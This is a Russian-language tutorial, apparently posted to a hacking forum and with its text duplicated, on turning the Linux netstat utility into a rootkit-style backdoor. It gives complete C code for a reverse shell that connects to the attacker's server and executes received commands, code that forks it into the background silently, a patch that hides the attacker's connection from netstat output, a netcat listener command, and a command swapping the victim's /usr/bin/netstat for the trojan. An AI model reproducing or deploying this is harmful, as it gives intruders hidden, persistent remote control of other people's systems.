Автор: shqnx
Специально для xss.pro
Приветствую всех читателей, без лишних слов сразу к делу.
Что вообще такое Netstat?
Если кратко, то Netstat - это утилита, которая используется для отображения списка активных подключений на компьютере.
Почему я выбрал именно Netstat?
1) Мы можем управлять выводом Netstat
2) Вне зависимости от уровня привилегий можно запустить данную утилиту, тем самым позволяя нам получить вариации как пользовательского бэкдора, так и бэкдора с привилегиями суперпользователя.
Требования
Для того, чтобы заменить фактический бинарник Netstat в /usr/bin директории, нам необходимо иметь рут права на машине нашей жертвы.
Цели
1) Модифицировать Netstat для инициирования реверс шелла в фоновом режиме к нашему серверу при активации пользователя
2) Скрыть наш сетевой процесс от отображения в результатах Netstat
3) Заменить существующий бинарник Netstat на модифицированный
А теперь давайте перейдем непосредственно к процессу разработки.
Первая вещь, которую мы должны сделать - это скачать сорцы утилиты Netstat с гитхаба:
Далее перемещаемся в только что клонированную папку:
Здесь мы можем наблюдать скрипт autogen.sh:
Запускаем его:
!! Если после выполнения данной команды вывод в терминале говорит о том, что у вас чего-то не хватает, то вам может потребоваться установить несколько пакетов, а именно autotools-dev, automake и libtool (для Debian-based дистрибутивов) !!
Скрипт сгенерировал нам файл конфигурации:
Теперь нам необходимо его запустить:
После этого у нас должен появиться Makefile:
Выполним команду:
Зайдем в директорию src и убедимся, что наш бинарник Netstat появился:
Теперь нам необходимо отредактировать файл netstat.c в данной директории, чтобы добавить в него наш бэкдор.
Открываем любимым редактором этот файл и ищем строку #include "proc.h", после которой нам нужно добавить:
Здесь мы подключаем заголовочные файлы для работы с сетью.
sys/types.h - определяет различные типы данных, используемые в системных вызовах.
sys/socket.h - содержит определения структур данных, используемых для сетевых сокетов.
netinet/in.h - содержит определения структур данных для работы с сетевыми адресами IPv4.
arpa/inet.h - содержит функции преобразования адресов IPv4 в строковый формат и обратно.
Далее обозначим немного констант, а именно:
1) Порт, на котором мы будем слушать подключения, я выбрал 55677
!! Убедитесь, что вы выбираете порт, который не находится в зарегистрированном диапазоне. Поскольку порты в диапазоне от 0 до 1023 зарегистрированы для использования системными службами, запуск Netstat на любом из этих портов потребует привилегий суперпользователя (root) !!
2) IP сервера, который будет слушать подключения
3) Размер буффера
Когда мы читаем данные из сокета, мы определяем размер блока данных, который мы собираемся читать за один раз. В данном случае, символическая константа BUFFER_SIZE устанавливает размер этого блока данных равным 1024 байтам. Таким образом, каждый раз, когда мы читаем данные из сокета, мы будем читать не более 1024 байт.
4) Размер в байтах для отправки через сокет
Тут мы обозначаем размер блока данных, который мы планируем отправить по сети через сокет. Символическая константа RESPONSE_SIZE задает этот размер равным 4096 байтам. Это означает, что каждый раз, когда мы отправляем данные через сокет, мы отправляем блок данных размером не более 4096 байт.
Теперь давайте создадим нашу бэкдор функцию:
В языке C каждая программа обязательно содержит функцию main. Эта функция является точкой входа в программу и выполняется в первую очередь при ее запуске.
Прежде чем перейти к добавлению нашей бэкдор-функции в main, мы выполним команду make, чтобы убедиться, что наш код компилируется без ошибок.
Вновь открываем файл netstat.c и редактируем:
Ищем строку getroute_init(); и после нее добавляем следующую:
Выполняем команду make.
Теперь на нашем сервере, настроенном на прослушивание, мы запустим Netcat с помощью следующей команды:
Netcat слушает на порту, который мы предварительно сконфигурировали.
На машине-жертве выполним команду:
Можем заметить, что мы получили реверс шелл:
Однако на машине, выступающей в роли жертвы, терминал "занят" выполнением команды ./netstat -t:
После прерывания реверс шелла на сервере, на машине-жертве остается вывод в терминале о результатах выполнения команды ./netstat -t, однако это ведь совсем не то, чего мы хотим, верно?
Мы хотим, чтобы при запуске Netstat исполнялся в фоновом режиме, поэтому продолжаем вносить изменения в файл netstat.c:
Возвращаемся в функцию main, удаляем там строку backdoor();
Теперь перемещаемся в самый низ функции main, перед строчкой return (i); пишем:
Если обощить, то мы создаем дубликат процесса (fork). Если это основной процесс, мы завершаем выполнение. В противном случае, если это дочерний процесс, мы закрываем все выходные потоки, чтобы ничего не выводилось на экран, затем вызываем нашу функцию.
После этого выполняем команду make и проверяем то, что мы накодили.
Выполняем команду ./netstat на машине-жертве.
Как мы видим, терминал теперь не "занят" выполнением команды и им можно спокойно пользоваться как и обычно, при этом наш реверс шелл остается активным.
Однако стоит нам выполнить команду ./netstat -t и мы все равно видим наше активное подключение:
Приступим к финальной части, в которой мы скроем этот противный вывод и наконец-то завершим нашу работу.
Открываем netstat.c, ищем функцию tcp_info.
В ней мы видим следующее:
Директория /proc/net предоставляет доступ к различным аспектам сетевой конфигурации и производительности системы, которые можно прочитать для получения информации о состоянии сети:
Функция tcp_info просто читает информацию из директории /proc/net и передает каждую строку функции tcp_do_one.
Если пролистать немного выше до этой самой функции tcp_do_one, мы увидим, что она является функцией без возвращаемого значения (void), поэтому она не возвращает никаких данных. Однако, если просмотреть самый конец этой функции, мы увидим, что она выводит строку:
Над этим printf пишем:
Сохраняем, проверяем:
На машине-жертве выполняем ./netstat -t
И, о чудо, у нас нет этого мерзкого вывода об активном соединении:
Теперь давайте заменим оригинальный бинарник на модифицированный:
Для этого выполним команду:
Вот собственно и все, мы успешно выполнили все цели, тем самым достигнув ожидаемого результата. Я надеюсь, что данная статья будет как минимум полезна, а как максимум кто-нибудь из вас попробует в ней разобраться самостоятельно, потому что материал действительно очень интересный. Возможно кто-либо предложит свои правки и/или советы. В любом случае буду рад выслушать всех. Спасибо за внимание!
Специально для xss.pro
Приветствую всех читателей, без лишних слов сразу к делу.
Что вообще такое Netstat?
Если кратко, то Netstat - это утилита, которая используется для отображения списка активных подключений на компьютере.
Почему я выбрал именно Netstat?
1) Мы можем управлять выводом Netstat
2) Вне зависимости от уровня привилегий можно запустить данную утилиту, тем самым позволяя нам получить вариации как пользовательского бэкдора, так и бэкдора с привилегиями суперпользователя.
Требования
Для того, чтобы заменить фактический бинарник Netstat в /usr/bin директории, нам необходимо иметь рут права на машине нашей жертвы.
Цели
1) Модифицировать Netstat для инициирования реверс шелла в фоновом режиме к нашему серверу при активации пользователя
2) Скрыть наш сетевой процесс от отображения в результатах Netstat
3) Заменить существующий бинарник Netstat на модифицированный
А теперь давайте перейдем непосредственно к процессу разработки.
Первая вещь, которую мы должны сделать - это скачать сорцы утилиты Netstat с гитхаба:
git clone https://github.com/dcantrell/netstat
Далее перемещаемся в только что клонированную папку:
cd netstat
Здесь мы можем наблюдать скрипт autogen.sh:
Запускаем его:
./autogen.sh
!! Если после выполнения данной команды вывод в терминале говорит о том, что у вас чего-то не хватает, то вам может потребоваться установить несколько пакетов, а именно autotools-dev, automake и libtool (для Debian-based дистрибутивов) !!
Скрипт сгенерировал нам файл конфигурации:
Теперь нам необходимо его запустить:
./configure
После этого у нас должен появиться Makefile:
Выполним команду:
make
Зайдем в директорию src и убедимся, что наш бинарник Netstat появился:
Теперь нам необходимо отредактировать файл netstat.c в данной директории, чтобы добавить в него наш бэкдор.
Открываем любимым редактором этот файл и ищем строку #include "proc.h", после которой нам нужно добавить:
C:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
sys/types.h - определяет различные типы данных, используемые в системных вызовах.
sys/socket.h - содержит определения структур данных, используемых для сетевых сокетов.
netinet/in.h - содержит определения структур данных для работы с сетевыми адресами IPv4.
arpa/inet.h - содержит функции преобразования адресов IPv4 в строковый формат и обратно.
Далее обозначим немного констант, а именно:
1) Порт, на котором мы будем слушать подключения, я выбрал 55677
!! Убедитесь, что вы выбираете порт, который не находится в зарегистрированном диапазоне. Поскольку порты в диапазоне от 0 до 1023 зарегистрированы для использования системными службами, запуск Netstat на любом из этих портов потребует привилегий суперпользователя (root) !!
2) IP сервера, который будет слушать подключения
3) Размер буффера
Когда мы читаем данные из сокета, мы определяем размер блока данных, который мы собираемся читать за один раз. В данном случае, символическая константа BUFFER_SIZE устанавливает размер этого блока данных равным 1024 байтам. Таким образом, каждый раз, когда мы читаем данные из сокета, мы будем читать не более 1024 байт.
4) Размер в байтах для отправки через сокет
Тут мы обозначаем размер блока данных, который мы планируем отправить по сети через сокет. Символическая константа RESPONSE_SIZE задает этот размер равным 4096 байтам. Это означает, что каждый раз, когда мы отправляем данные через сокет, мы отправляем блок данных размером не более 4096 байт.
C:
#define PORT 55677
#define SERVER_IP "тут_должен_быть_IP_вашего_сервера"
#define BUFFER_SIZE 1024
#define RESPONSE_SIZE 4096
Теперь давайте создадим нашу бэкдор функцию:
C:
int backdoor(void) {
int sockfd; // Дескриптор сокета
struct sockaddr_in server_addr; // Структура адреса сервера
char buffer[BUFFER_SIZE]; // Буфер для полученных данных
char response[RESPONSE_SIZE]; // Буфер для отправки ответов
FILE *fp; // Дескриптор файла
ssize_t bytes_received; // Количество принятых байт
// Создание сокета
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
return 1; // Возвращаем 1, чтобы сигнализировать об ошибке при создании сокета
}
// Настройка адреса сервера
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
// Подключение к серверу
if (connect(sockfd, (struct sockaddr*) &server_addr, sizeof(server_addr)) < 0) {
return 1;
}
// Бесконечный цикл для взаимодействия с сервером
while (1) {
char prompt[] = "# "; // Промпт, после которого мы будем вводить наши команды для взаимодействия с жертвой (простая "оболочка" для визуальщины)
send(sockfd, prompt, strlen(prompt), 0); // Отправка приглашения на сервер
// Очистка буфера перед приемом данных
memset(buffer, 0, BUFFER_SIZE);
// Получение данных от сервера
bytes_received = recv(sockfd, buffer, BUFFER_SIZE, 0);
// Проверка на ошибки или разрыв соединения
if (bytes_received <= 0) {
break;
}
// Добавление завершающего нулевого символа к принятым данным
buffer[bytes_received] = '\0';
// Выполнение команды, полученной от сервера
fp = popen(buffer, "r");
// Проверка на успешное открытие потока для выполнения команды
if (fp == NULL) {
continue;
}
// Чтение вывода команды и отправка его на сервер
while (fgets(response, sizeof(response) - 1, fp) != NULL) {
send(sockfd, response, strlen(response), 0);
}
// Закрытие потока
pclose(fp);
}
// Закрытие сокета
close(sockfd);
return 0;
}
В языке C каждая программа обязательно содержит функцию main. Эта функция является точкой входа в программу и выполняется в первую очередь при ее запуске.
Прежде чем перейти к добавлению нашей бэкдор-функции в main, мы выполним команду make, чтобы убедиться, что наш код компилируется без ошибок.
Вновь открываем файл netstat.c и редактируем:
Ищем строку getroute_init(); и после нее добавляем следующую:
backdoor();
Выполняем команду make.
Теперь на нашем сервере, настроенном на прослушивание, мы запустим Netcat с помощью следующей команды:
nc -nvlp 55677 -k
Netcat слушает на порту, который мы предварительно сконфигурировали.
На машине-жертве выполним команду:
./netstat -t
Можем заметить, что мы получили реверс шелл:
Однако на машине, выступающей в роли жертвы, терминал "занят" выполнением команды ./netstat -t:
После прерывания реверс шелла на сервере, на машине-жертве остается вывод в терминале о результатах выполнения команды ./netstat -t, однако это ведь совсем не то, чего мы хотим, верно?
Мы хотим, чтобы при запуске Netstat исполнялся в фоновом режиме, поэтому продолжаем вносить изменения в файл netstat.c:
Возвращаемся в функцию main, удаляем там строку backdoor();
Теперь перемещаемся в самый низ функции main, перед строчкой return (i); пишем:
C:
pid_t pid, sid;
pid = fork();
// Мы создали дубликат процесса, путем вызова fork().
if (pid < 0) { // Если fork() вернул отрицательное значение, это означает неудачу создания дубликата процесса.
return 1;
}
if (pid > 0) { // Если текущий код выполняется в основном процессе (родительском), мы завершаем выполнение, так как нам нечего больше делать.
return 1;
}
// В противном случае, если мы в дочернем процессе, мы создаем новую сессию (sid) для него, чтобы он работал независимо от предыдущего процесса.
sid = setsid();
// Если sid меньше нуля, возможно, произошла ошибка при создании сессии.
if (sid < 0) {
return 1;
}
// Закрываем файловые дескрипторы, чтобы ничего не выводилось пользователю, запустившему эту команду
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
// И непосредственно вызываем нашу бэкдор функцию
backdoor();
Если обощить, то мы создаем дубликат процесса (fork). Если это основной процесс, мы завершаем выполнение. В противном случае, если это дочерний процесс, мы закрываем все выходные потоки, чтобы ничего не выводилось на экран, затем вызываем нашу функцию.
После этого выполняем команду make и проверяем то, что мы накодили.
Выполняем команду ./netstat на машине-жертве.
Как мы видим, терминал теперь не "занят" выполнением команды и им можно спокойно пользоваться как и обычно, при этом наш реверс шелл остается активным.
Однако стоит нам выполнить команду ./netstat -t и мы все равно видим наше активное подключение:
Приступим к финальной части, в которой мы скроем этот противный вывод и наконец-то завершим нашу работу.
Открываем netstat.c, ищем функцию tcp_info.
В ней мы видим следующее:
Директория /proc/net предоставляет доступ к различным аспектам сетевой конфигурации и производительности системы, которые можно прочитать для получения информации о состоянии сети:
Функция tcp_info просто читает информацию из директории /proc/net и передает каждую строку функции tcp_do_one.
Если пролистать немного выше до этой самой функции tcp_do_one, мы увидим, что она является функцией без возвращаемого значения (void), поэтому она не возвращает никаких данных. Однако, если просмотреть самый конец этой функции, мы увидим, что она выводит строку:
Над этим printf пишем:
C:
char malware_rem_addr[50];
// Здесь мы создаем строку malware_rem_addr для хранения IP-адреса сервера и порта в формате "%s:%d".
// Этот адрес будет использоваться для сравнения с адресом, полученным из netstat -t.
sprintf(malware_rem_addr, "%s:%d", SERVER_IP, PORT);
// Если адреса совпадают, то мы просто выходим из функции, так как она возвращает void.
if (strcmp(rem_addr, malware_rem_addr) == 0) {
return;
}
Сохраняем, проверяем:
make
На машине-жертве выполняем ./netstat -t
И, о чудо, у нас нет этого мерзкого вывода об активном соединении:
Теперь давайте заменим оригинальный бинарник на модифицированный:
Для этого выполним команду:
sudo mv netstat /usr/bin/netstat
Вот собственно и все, мы успешно выполнили все цели, тем самым достигнув ожидаемого результата. Я надеюсь, что данная статья будет как минимум полезна, а как максимум кто-нибудь из вас попробует в ней разобраться самостоятельно, потому что материал действительно очень интересный. Возможно кто-либо предложит свои правки и/или советы. В любом случае буду рад выслушать всех. Спасибо за внимание!